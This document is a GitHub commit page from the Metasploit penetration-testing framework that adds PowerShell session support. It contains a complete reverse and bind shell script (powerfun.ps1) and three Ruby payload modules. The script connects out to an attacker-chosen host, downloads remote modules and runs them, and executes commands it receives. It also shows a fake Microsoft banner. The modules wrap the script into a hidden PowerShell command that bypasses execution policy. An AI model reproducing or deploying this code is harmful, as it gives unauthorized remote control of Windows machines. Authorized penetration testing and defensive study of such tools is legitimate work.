Skip to content

Commit 1fd6015

Browse files
author
HD Moore
committed
Lands rapid7#5194, merges in PowerShell session support & initial payloads
2 parents 4ffffa5 + 1cebc9f commit 1fd6015

File tree

7 files changed

+456
-0
lines changed

7 files changed

+456
-0
lines changed

data/exploits/powershell/powerfun.ps1

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
# Powerfun - Written by Ben Turner & Dave Hardy
2+
3+
function Get-Webclient
4+
{
5+
$wc = New-Object -TypeName Net.WebClient
6+
$wc.UseDefaultCredentials = $true
7+
$wc.Proxy.Credentials = $wc.Credentials
8+
$wc
9+
}
10+
function powerfun
11+
{
12+
Param(
13+
[String]$Command,
14+
[String]$Download
15+
)
16+
Process {
17+
$modules = @(MODULES_REPLACE)
18+
if ($Command -eq "bind")
19+
{
20+
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
21+
$listener.start()
22+
$client = $listener.AcceptTcpClient()
23+
}
24+
if ($Command -eq "reverse")
25+
{
26+
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
27+
}
28+
$stream = $client.GetStream()
29+
[byte[]]$bytes = 0..255|%{0}
30+
if ($Download -eq "true")
31+
{
32+
ForEach ($module in $modules)
33+
{
34+
(Get-Webclient).DownloadString($module)|Invoke-Expression
35+
}
36+
}
37+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38+
$stream.Write($sendbytes,0,$sendbytes.Length)
39+
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
40+
$stream.Write($sendbytes,0,$sendbytes.Length)
41+
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
42+
{
43+
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
44+
$data = $EncodedText.GetString($bytes,0, $i)
45+
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
46+
47+
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
48+
$x = ($error[0] | Out-String)
49+
$error.clear()
50+
$sendback2 = $sendback2 + $x
51+
52+
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
53+
$stream.Write($sendbyte,0,$sendbyte.Length)
54+
$stream.Flush()
55+
}
56+
$client.Close()
57+
$listener.Stop()
58+
}
59+
}

lib/msf/base/sessions/powershell.rb

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# -*- coding: binary -*-
2+
require 'msf/base/sessions/command_shell'
3+
4+
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
5+
#
6+
# Execute any specified auto-run scripts for this session
7+
#
8+
def process_autoruns(datastore)
9+
10+
# Read the username and hostname from the initial banner
11+
initial_output = shell_read(-1, 0.01)
12+
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
13+
username = $1
14+
hostname = $2
15+
self.info = "#{username} @ #{hostname}"
16+
else
17+
self.info = initial_output.gsub(/[\r\n]/, ' ')
18+
end
19+
20+
# Call our parent class's autoruns processing method
21+
super
22+
end
23+
#
24+
# Returns the type of session.
25+
#
26+
def self.type
27+
"powershell"
28+
end
29+
30+
#
31+
# Returns the session description.
32+
#
33+
def desc
34+
"Powershell session"
35+
end
36+
end
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/base/sessions/powershell'
8+
9+
module Metasploit3
10+
11+
CachedSize = 1342
12+
13+
include Msf::Payload::Single
14+
include Rex::Powershell::Command
15+
16+
def initialize(info = {})
17+
super(merge_info(info,
18+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
19+
'Description' => 'Interacts with a powershell session on an established socket connection',
20+
'Author' =>
21+
[
22+
'Ben Turner', # benpturner
23+
'Dave Hardy' # davehardy20
24+
],
25+
'References' =>
26+
[
27+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'windows',
31+
'Arch' => ARCH_CMD,
32+
'Handler' => Msf::Handler::BindTcp,
33+
'Session' => Msf::Sessions::PowerShell,
34+
'RequiredCmd' => 'generic',
35+
'Payload' =>
36+
{
37+
'Offsets' => { },
38+
'Payload' => ''
39+
}
40+
))
41+
register_options(
42+
[
43+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
44+
], self.class)
45+
end
46+
47+
def generate
48+
lport = datastore['LPORT']
49+
lhost = datastore['LHOST']
50+
51+
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
52+
script_in = ""
53+
::File.open(template_path, "rb") do |fd|
54+
script_in << fd.read(fd.stat.size)
55+
end
56+
script_in << "\npowerfun -Command bind"
57+
58+
mods = ''
59+
60+
if datastore['LOAD_MODULES']
61+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
62+
mods_array.collect(&:strip)
63+
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
64+
mods_array.each {|m| vprint_good " #{m}"}
65+
mods = "\"#{mods_array.join("\",\n\"")}\""
66+
script_in << " -Download true\n"
67+
end
68+
69+
script_in.gsub!('MODULES_REPLACE', mods)
70+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
71+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
72+
73+
script = Rex::Powershell::Command.compress_script(script_in)
74+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
75+
end
76+
77+
end
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/base/sessions/powershell'
8+
9+
module Metasploit3
10+
11+
CachedSize = 1342
12+
13+
include Msf::Payload::Single
14+
include Rex::Powershell::Command
15+
16+
def initialize(info = {})
17+
super(merge_info(info,
18+
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
19+
'Description' => 'Interacts with a powershell session on an established socket connection',
20+
'Author' =>
21+
[
22+
'Ben Turner', # benpturner
23+
'Dave Hardy' # davehardy20
24+
],
25+
'References' =>
26+
[
27+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'windows',
31+
'Arch' => ARCH_CMD,
32+
'Handler' => Msf::Handler::ReverseTcp,
33+
'Session' => Msf::Sessions::PowerShell,
34+
'RequiredCmd' => 'generic',
35+
'Payload' =>
36+
{
37+
'Offsets' => { },
38+
'Payload' => ''
39+
}
40+
))
41+
register_options(
42+
[
43+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
44+
], self.class)
45+
end
46+
47+
def generate
48+
lport = datastore['LPORT']
49+
lhost = datastore['LHOST']
50+
51+
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
52+
script_in = ""
53+
::File.open(template_path, "rb") do |fd|
54+
script_in << fd.read(fd.stat.size)
55+
end
56+
57+
script_in << "\npowerfun -Command reverse"
58+
59+
mods = ''
60+
61+
if datastore['LOAD_MODULES']
62+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
63+
mods_array.collect(&:strip)
64+
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
65+
mods_array.each {|m| vprint_good " #{m}"}
66+
mods = "\"#{mods_array.join("\",\n\"")}\""
67+
script_in << " -Download true\n"
68+
end
69+
70+
script_in.gsub!('MODULES_REPLACE', mods)
71+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
72+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
73+
74+
script = Rex::Powershell::Command.compress_script(script_in)
75+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
76+
end
77+
78+
end
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/payload/windows/exec'
8+
require 'msf/base/sessions/powershell'
9+
###
10+
#
11+
# Extends the Exec payload to add a new user.
12+
#
13+
###
14+
module Metasploit3
15+
16+
CachedSize = 1543
17+
18+
include Msf::Payload::Windows::Exec
19+
include Rex::Powershell::Command
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
24+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
25+
'Author' =>
26+
[
27+
'Ben Turner', # benpturner
28+
'Dave Hardy' # davehardy20
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'win',
36+
'Arch' => ARCH_X86,
37+
'Handler' => Msf::Handler::BindTcp,
38+
'Session' => Msf::Sessions::PowerShell,
39+
))
40+
41+
# Register command execution options
42+
register_options(
43+
[
44+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
45+
], self.class)
46+
# Hide the CMD option...this is kinda ugly
47+
deregister_options('CMD')
48+
end
49+
50+
#
51+
# Override the exec command string
52+
#
53+
def command_string
54+
lport = datastore['LPORT']
55+
56+
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
57+
script_in = ""
58+
::File.open(template_path, "rb") do |fd|
59+
script_in << fd.read(fd.stat.size)
60+
end
61+
62+
script_in = File.read(template_path)
63+
script_in << "\npowerfun -Command bind"
64+
65+
mods = ''
66+
67+
if datastore['LOAD_MODULES']
68+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
69+
mods_array.collect(&:strip)
70+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
71+
mods_array.each {|m| vprint_good " #{m}"}
72+
mods = "\"#{mods_array.join("\",\n\"")}\""
73+
script_in << " -Download true\n"
74+
end
75+
76+
script_in.gsub!('MODULES_REPLACE', mods)
77+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
78+
79+
script = Rex::Powershell::Command.compress_script(script_in)
80+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
81+
82+
end
83+
end

0 commit comments

Comments
 (0)